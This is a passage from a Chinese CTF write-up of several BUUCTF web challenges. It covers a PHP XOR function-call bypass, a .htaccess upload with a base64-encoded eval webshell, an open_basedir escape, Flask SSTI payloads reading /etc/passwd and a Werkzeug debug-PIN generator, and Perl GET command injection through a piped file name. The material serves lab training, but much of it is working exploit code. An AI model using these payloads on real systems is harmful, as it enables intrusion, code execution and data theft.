if (chr(tem)== "T"):
T.append((str(hex(i)[2:])) + "*" + str(hex(j)[2:]))
print(_)
print(G)
print(E)
print(T)

运行结果

1
2
3
4
['86*d9', '87*d8', '88*d7', '89*d6', '8a*d5', '8b*d4', '8c*d3', '8d*d2', '8e*d1', '8f*d0', '90*cf', '91*ce', '92*cd', '93*cc', '94*cb', '95*ca', '96*c9', '97*c8', '98*c7', '99*c6', '9a*c5', '9b*c4', '9c*c3', '9d*c2', '9e*c1', '9f*c0', 'a0*ff', 'a1*fe', 'a2*fd', 'a3*fc', 'a4*fb', 'a5*fa', 'a6*f9', 'a7*f8', 'a8*f7', 'a9*f6', 'aa*f5', 'ab*f4', 'ac*f3', 'ad*f2', 'ae*f1', 'af*f0', 'b0*ef', 'b1*ee', 'b2*ed', 'b3*ec', 'b4*eb', 'b5*ea', 'b6*e9', 'b7*e8', 'b8*e7', 'b9*e6', 'ba*e5', 'bb*e4', 'bc*e3', 'bd*e2', 'be*e1', 'bf*e0', 'c0*9f', 'c1*9e', 'c2*9d', 'c3*9c', 'c4*9b', 'c5*9a', 'c6*99', 'c7*98', 'c8*97', 'c9*96', 'ca*95', 'cb*94', 'cc*93', 'cd*92', 'ce*91', 'cf*90', 'd0*8f', 'd1*8e', 'd2*8d', 'd3*8c', 'd4*8b', 'd5*8a', 'd6*89', 'd7*88', 'd8*87', 'd9*86', 'e0*bf', 'e1*be', 'e2*bd', 'e3*bc', 'e4*bb', 'e5*ba', 'e6*b9', 'e7*b8', 'e8*b7', 'e9*b6', 'ea*b5', 'eb*b4', 'ec*b3', 'ed*b2', 'ee*b1', 'ef*b0', 'f0*af', 'f1*ae', 'f2*ad', 'f3*ac', 'f4*ab', 'f5*aa', 'f6*a9', 'f7*a8', 'f8*a7', 'f9*a6', 'fa*a5', 'fb*a4', 'fc*a3', 'fd*a2', 'fe*a1', 'ff*a0']
['86*c1', '87*c0', '88*cf', '89*ce', '8a*cd', '8b*cc', '8c*cb', '8d*ca', '8e*c9', '8f*c8', '90*d7', '91*d6', '92*d5', '93*d4', '94*d3', '95*d2', '96*d1', '97*d0', '98*df', '99*de', '9a*dd', '9b*dc', '9c*db', '9d*da', '9e*d9', '9f*d8', 'a0*e7', 'a1*e6', 'a2*e5', 'a3*e4', 'a4*e3', 'a5*e2', 'a6*e1', 'a7*e0', 'a8*ef', 'a9*ee', 'aa*ed', 'ab*ec', 'ac*eb', 'ad*ea', 'ae*e9', 'af*e8', 'b0*f7', 'b1*f6', 'b2*f5', 'b3*f4', 'b4*f3', 'b5*f2', 'b6*f1', 'b7*f0', 'b8*ff', 'b9*fe', 'ba*fd', 'bb*fc', 'bc*fb', 'bd*fa', 'be*f9', 'bf*f8', 'c0*87', 'c1*86', 'c8*8f', 'c9*8e', 'ca*8d', 'cb*8c', 'cc*8b', 'cd*8a', 'ce*89', 'cf*88', 'd0*97', 'd1*96', 'd2*95', 'd3*94', 'd4*93', 'd5*92', 'd6*91', 'd7*90', 'd8*9f', 'd9*9e', 'da*9d', 'db*9c', 'dc*9b', 'dd*9a', 'de*99', 'df*98', 'e0*a7', 'e1*a6', 'e2*a5', 'e3*a4', 'e4*a3', 'e5*a2', 'e6*a1', 'e7*a0', 'e8*af', 'e9*ae', 'ea*ad', 'eb*ac', 'ec*ab', 'ed*aa', 'ee*a9', 'ef*a8', 'f0*b7', 'f1*b6', 'f2*b5', 'f3*b4', 'f4*b3', 'f5*b2', 'f6*b1', 'f7*b0', 'f8*bf', 'f9*be', 'fa*bd', 'fb*bc', 'fc*bb', 'fd*ba', 'fe*b9', 'ff*b8']
['86*c3', '87*c2', '88*cd', '89*cc', '8a*cf', '8b*ce', '8c*c9', '8d*c8', '8e*cb', '8f*ca', '90*d5', '91*d4', '92*d7', '93*d6', '94*d1', '95*d0', '96*d3', '97*d2', '98*dd', '99*dc', '9a*df', '9b*de', '9c*d9', '9d*d8', '9e*db', '9f*da', 'a0*e5', 'a1*e4', 'a2*e7', 'a3*e6', 'a4*e1', 'a5*e0', 'a6*e3', 'a7*e2', 'a8*ed', 'a9*ec', 'aa*ef', 'ab*ee', 'ac*e9', 'ad*e8', 'ae*eb', 'af*ea', 'b0*f5', 'b1*f4', 'b2*f7', 'b3*f6', 'b4*f1', 'b5*f0', 'b6*f3', 'b7*f2', 'b8*fd', 'b9*fc', 'ba*ff', 'bb*fe', 'bc*f9', 'bd*f8', 'be*fb', 'bf*fa', 'c2*87', 'c3*86', 'c8*8d', 'c9*8c', 'ca*8f', 'cb*8e', 'cc*89', 'cd*88', 'ce*8b', 'cf*8a', 'd0*95', 'd1*94', 'd2*97', 'd3*96', 'd4*91', 'd5*90', 'd6*93', 'd7*92', 'd8*9d', 'd9*9c', 'da*9f', 'db*9e', 'dc*99', 'dd*98', 'de*9b', 'df*9a', 'e0*a5', 'e1*a4', 'e2*a7', 'e3*a6', 'e4*a1', 'e5*a0', 'e6*a3', 'e7*a2', 'e8*ad', 'e9*ac', 'ea*af', 'eb*ae', 'ec*a9', 'ed*a8', 'ee*ab', 'ef*aa', 'f0*b5', 'f1*b4', 'f2*b7', 'f3*b6', 'f4*b1', 'f5*b0', 'f6*b3', 'f7*b2', 'f8*bd', 'f9*bc', 'fa*bf', 'fb*be', 'fc*b9', 'fd*b8', 'fe*bb', 'ff*ba']
['86*d2', '87*d3', '88*dc', '89*dd', '8a*de', '8b*df', '8c*d8', '8d*d9', '8e*da', '8f*db', '90*c4', '91*c5', '92*c6', '93*c7', '94*c0', '95*c1', '96*c2', '97*c3', '98*cc', '99*cd', '9a*ce', '9b*cf', '9c*c8', '9d*c9', '9e*ca', '9f*cb', 'a0*f4', 'a1*f5', 'a2*f6', 'a3*f7', 'a4*f0', 'a5*f1', 'a6*f2', 'a7*f3', 'a8*fc', 'a9*fd', 'aa*fe', 'ab*ff', 'ac*f8', 'ad*f9', 'ae*fa', 'af*fb', 'b0*e4', 'b1*e5', 'b2*e6', 'b3*e7', 'b4*e0', 'b5*e1', 'b6*e2', 'b7*e3', 'b8*ec', 'b9*ed', 'ba*ee', 'bb*ef', 'bc*e8', 'bd*e9', 'be*ea', 'bf*eb', 'c0*94', 'c1*95', 'c2*96', 'c3*97', 'c4*90', 'c5*91', 'c6*92', 'c7*93', 'c8*9c', 'c9*9d', 'ca*9e', 'cb*9f', 'cc*98', 'cd*99', 'ce*9a', 'cf*9b', 'd2*86', 'd3*87', 'd8*8c', 'd9*8d', 'da*8e', 'db*8f', 'dc*88', 'dd*89', 'de*8a', 'df*8b', 'e0*b4', 'e1*b5', 'e2*b6', 'e3*b7', 'e4*b0', 'e5*b1', 'e6*b2', 'e7*b3', 'e8*bc', 'e9*bd', 'ea*be', 'eb*bf', 'ec*b8', 'ed*b9', 'ee*ba', 'ef*bb', 'f0*a4', 'f1*a5', 'f2*a6', 'f3*a7', 'f4*a0', 'f5*a1', 'f6*a2', 'f7*a3', 'f8*ac', 'f9*ad', 'fa*ae', 'fb*af', 'fc*a8', 'fd*a9', 'fe*aa', 'ff*ab']

之后就可以开始构造了

1
${%86%86%86%86^%d9%c1%c3%d2}{%86}();&%86=phpinfo

成功执行
1589591086671

这样便可以调用get_the_flag函数,之后是绕过文件上传,这个为apache服务器,所以可以上传.htaccess文件

因为php = 7.2所以不能用<script>来绕过文件内容(<?)过滤。在上面phpinfo中可以看,这个为apache服务器,所以可以上传.htaccess文件绕过文件名过滤,然后通过编码解码绕过文件内容过滤。

对于exif_imagetype()的绕过方式:

  • 使用\x00\x00\x8a\x39\x8a\x39绕过
  • 使用#define width 1337\n#define height 1337绕过

关于.htaccess常见绕过利用可以参考:.htaccess tricks总结

所以构造.htaccess

1
2
3
AddType application/x-httpd-php .txt   ###将1.test以php的方式解析
php_value auto_append_file "php://filter/convert.base64-decode/resource=/var/www/html/upload/tmp_48cd8b43081896fbd0931d204f947663/shell.txt"
##在shell.txt加载完毕后,再次包含base64解码后的shell.txt,成功getshell,所以这也就是为什么会出现两次shell.txt内容的原因,第一次是没有经过base64解密的,第二次是经过解密并且转化为php了的。

构造木马文件shell.txt:

1
2
\x00\x00\x8a\x39\x8a\x39
<?php eval($_GET['s']);?>

使用python进行文件上传:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import requests
import base64

url = "http://e093dc1f-cf88-428e-b48c-8a3a58f5a2c3.node3.buuoj.cn/?_=${%86%86%86%86^%d9%c1%c3%d2}{%86}();&%86=get_the_flag"

htaccess = b"""\x00\x00\x8a\x39\x8a\x39
AddType application/x-httpd-php .txt
php_value auto_append_file "php://filter/convert.base64-decode/resource=/var/www/html/upload/tmp_48cd8b43081896fbd0931d204f947663/shell.txt"

"""
shell = b"\x00\x00\x8a\x39\x8a\x39"+b"00"+ base64.b64encode(b"<?php eval($_GET['a']);?>")

files = [('file',('.htaccess',htaccess,'image/jpeg'))]

data = {"upload":"Submit"}

r = requests.post(url=url, data=data, files=files)
print(r.text)

files = [('file',('shell.txt',shell,'image/jpeg'))]
r = requests.post(url=url, data=data, files=files)
print(r.text)

1589596932895

上传成功并执行phpinfo()
1589596970844

其中禁用了很多函数,所以不能执行命令
1589597199043

同时使用open_basedir进行目录访问限制

open_basedir 绕过

绕过方法大致如下(php5有其它方法):

  • 首先构造一个相对可以上跳的open_basedir 如mkdir('mayi'); chdir('mayi') 当然我们这里有上跳的路径我们直接 chdir("img")
  • 然后每次操作chdir("..")都会进一次open_basedir的比对由于相对路径的问题,每次open_basedir的补全都会上跳。
  • 比如初试open_basedir为/a/b/c/d:
  • 第一次chdir后变为/a/b/c,第二次chdir后变为/a/b,第三次chdir后变为/a 第四次chdir后变为/
  • 那么这时候再进行ini_set,调整open_basedir为/即可通过php_check_open_basedir_ex的校验,成功覆盖,导致我们可以bypass open_basedir。

先构造

1
chdir('xxx');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');var_dump(scandir('/'));

得到flag文件名,在读取
1589597718976

1
?a=chdir('xxx');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');var_dump(scandir('/'));var_dump(file_get_contents('/THis_Is_tHe_F14g'));

1589597781687

参考文章:https://www.wh1teze.top/articles/2020/02/04/1580806413437.html
本来想使用上一个题的方法绕过disable_function,但是使用蚁剑连接后权限不够,所以放弃了

[GYCTF2020]FlaskApp

打开靶机是一个base64加密解密网站
在解密的地方随便输入一段发现报错并泄露了一部分源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
 
@app.route('/decode',methods=['POST','GET'])
def decode():
if request.values.get('text') :
text = request.values.get("text")
text_decode = base64.b64decode(text.encode())
tmp = "结果 : {0}".format(text_decode.decode())
if waf(tmp) :
flash("no no no !!")
return redirect(url_for('decode'))
Open an interactive python shell in this frame
res = render_template_string(tmp)

##获取我们传的text参数,进行解密,如果可以过waf则执行代码

1589600193445

之后将8加密后进行解密返回nonono!!,再尝试将加密在解密返回
1589600318291

说明存在模板注入
读取源码

1
2
3
4
5
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__=='catch_warnings' %}
{{ c.__init__.__globals__['__builtins__'].open('app.py','r').read() }}
{% endif %}
{% endfor %}

发现waf过滤了flag,os等关键字
1589612427990

1589612627542

之后利用字符串拼接找目录

发现了this_is_the_flag.txt

1
{{''.__class__.__bases__[0].__subclasses__()[75].__init__.__globals__['__builtins__']['__imp'+'ort__']('o'+'s').listdir('/')}}

1589612776280

读取使用切片省去了拼接flag的步骤

1
2
3
4
5
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__=='catch_warnings' %}
{{c.__init__.__globals__['__builtins__'].open('txt.galf_eht_si_siht/'[::-1],'r').read() }}
{% endif %}
{% endfor %}

1589612930582

还有一种便是读取pin码

计算pin码的方法

只要拿到pin码就相当于拿到了shell,想要拿到PIN码必须知道:

1
2
3
4
5
6
7
usrname: 就是启动这个 Flask的用户
modname: 一般为flask.app
getattr(app, “__name__”, app.__class__.__name__):python该值一般为Flask 值一般不变
getattr(mod, 'file', None):为flask目录下的一个app.py的绝对路径
uuid.getnode():就是当前电脑的MAC地址,str(uuid.getnode())则是mac地址的十进制表达式
get_machine_id() :/etc/machine-id或者 /proc/sys/kernel/random/boot_i中的值
假如是在win平台下读取不到上面两个文件,就去获取注册表中SOFTWARE\Microsoft\Cryptography的值 假如是Docker机 那么为 /proc/self/cgroup docker行

服务器运行flask所登录的用户名

 我们可以查看/etc/passwd文件。使用如下命令

1
{{{}.__class__.__mro__[-1].__subclasses__()[102].__init__.__globals__['open']('/etc/passwd').read()}}

我们可以知道是flaskweb用户。

getattr(mod, ‘file’, None)flask目录下的app.py的绝对路径

 根据报错信息我们可以知道:

1
/usr/local/lib/python3.7/site-packages/flask/app.py

当前电脑的MAC地址

 我们可以读取/sys/class/net/eth0/address来获得mac的16进制:

1
{{{}.__class__.__mro__[-1].__subclasses__()[102].__init__.__globals__['open']('/sys/class/net/eth0/address').read()}}

得到02:42:ae:01:56:23将其转10进制2485410420259许多工具都不准确,值得注意。

机器的id

 linux的id一般存放在/etc/machine-id或/proc/sys/kernel/random/boot_i,有的系统没有这两个文件,windows的id获取跟linux也不同。
 对于docker机则读取读取/proc/self/cgroup获取get_machine_id()(docker后面那段字符串)
使用如下:

1
{{{}.__class__.__mro__[-1].__subclasses__()[102].__init__.__globals__['open']('/proc/self/cgroup').read()}}

得知:

1
695775f45371f74ba02406e7df3fa817d00641a41db503f9e7c79ab04d986c8c

使用脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
import hashlib
from itertools import chain
probably_public_bits = [
'flaskweb'# username
'flask.app',# modname
'Flask', # getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/usr/local/lib/python3.7/site-packages/flask/app.py' # getattr(mod, '__file__', None),
]

private_bits = [
'2485410420259',# str(uuid.getnode()), /sys/class/net/ens33/address
'695775f45371f74ba02406e7df3fa817d00641a41db503f9e7c79ab04d986c8c'# get_machine_id(), /etc/machine-id
]

h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv =None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num

print(rv)

得到pin码为155-092-742
1589613745642

进入报错页面,点击终端按钮,然后输入 pin码155-092-742然后就可以执行python shell了
我们使用如下:

1
2
import os
os.popen('cat /this_is_the_flag.txt').read()

1589613814849

参考文章:
https://www.twblogs.net/a/5eac12af6052e15026732da5
https://mayi077.gitee.io/2020/04/17/GYCTF2020-FlaskApp/

[HITCON 2017]SSRFme

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$http_x_headers = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
$_SERVER['REMOTE_ADDR'] = $http_x_headers[0];
} #如果存在x-Forwarded-For头,将其打散成数组,将第一个值给$_SERVER['REMOTE_ADDR']

echo $_SERVER["REMOTE_ADDR"];

$sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);
@mkdir($sandbox);
@chdir($sandbox); #改变目录

$data = shell_exec("GET " . escapeshellarg($_GET["url"]));
#escapeshellarg() 将给字符串增加一个单引号并且能引用或者转码任何已经存在的单引号,这样以确保能够直接将一个字符串传入 shell 函数,并且还是确保安全的
$info = pathinfo($_GET["filename"]); #返回路径信息
$dir = str_replace(".", "", basename($info["dirname"]));
@mkdir($dir);
@chdir($dir);
@file_put_contents(basename($info["basename"]), $data);
highlight_file(__FILE__);

pathinfo例子

1
2
3
<?php
print_r(pathinfo("/testweb/test.txt"));
?>

输出:

1
2
3
4
5
6
Array
(
[dirname] => /testweb
[basename] => test.txt
[extension] => txt
)

basename() 函数返回路径中的文件名部分
写个例子简单测试一下最终是将文件写入哪个文件夹的

1
2
3
4
5
6
7
8
<?php
$info = pathinfo($_GET["filename"]);
$dir = str_replace(".", "", basename($info["dirname"]));
echo '$info='.$info;
echo '<br>';
echo '$dir='.$dir;
echo '<br>';
echo 'basename($info["basename"])='.basename($info["basename"]);

1589618257419

可以看到是写入输入路径的basename中,所以直接

解题思路
首先会先进入sandbox/.md5(orange110.187.162.194)文件夹也就是sandbox/431d3eac52ea5609413b3e82cb792bf3,然后执行一个“GET +我们传入的url参数” 这个命令。最后把执行的命令写入我们传入以我们传入的filename为文件名的文件内

我们可以读取文件

?url=/etc/passwd&filename=a

sandbox/431d3eac52ea5609413b3e82cb792bf3/a

1589619733626

?url=/&filename=b

sandbox/431d3eac52ea5609413b3e82cb792bf3/b

1589619779798

发现了一个readflag,一般都是需要执行它来得到flag

这里还有一个GET的命令执行漏洞
perl的feature,在open下可以执行命令。

1
2
3
4
5
6
➜  test cat test.pl
open(FD, "whoami|");
print <FD>;
➜ test perl test.pl
moxiaoxi
➜ test

在open下,如果perl的第二个参数(path)可控,我们就能进行任意代码执行。

而GET对协议处理部分调用的是 /usr/share/perl5/LWP/Protocol下的各个pm模块,通过查询可以发现在file.pm中,path参数是完全可控的。

源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
...
# URL OK, look at file
my $path = $url->file;

# test file exists and is readable
unless (-e $path) {
return HTTP::Response->new( &HTTP::Status::RC_NOT_FOUND,
"File `$path' does not exist");
}
...
# read the file
if ($method ne "HEAD") {
open(F, $path) or return new
HTTP::Response(&HTTP::Status::RC_INTERNAL_SERVER_ERROR,
"Cannot read file '$path': $!");
...

这里多了一个限制条件,就是file.pm会先判断文件是否存在。若存在,才会触发最终的代码执行。

1
2
3
4
➜  test GET 'file:id|'
➜ test touch 'id|'
➜ test GET 'file:id|'
uid=1000(moxiaoxi) gid=1000(moxiaoxi) groups=1000(moxiaoxi),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lpadmin),124(sambashare)

那么,最终的payload就很简单了。

1
2
3
4
5
6
1. 新建一个bash%20-c%20/readflag|文件
?url=xxx&filename=|/readflag
2. open文件,并触发命令执行,执行readflag,并将数据写入flag
/?url=file:|/readflag&filename=flag
3. 访问sandbox下的flag,获得flag
/sandbox/431d3eac52ea5609413b3e82cb792bf3/flag

1589620353999

参考文章:http://momomoxiaoxi.com/2017/11/08/HITCON/#ssrfme

文章作者:CyzCc
最后更新:2020年06月25日 20:06:13
原始链接:https://cyzcc.vip/2020/05/16/BUU-web5/
版权声明:转载请注明出处!
您的支持就是我的动力!
-------------    本文结束  感谢您的阅读    -------------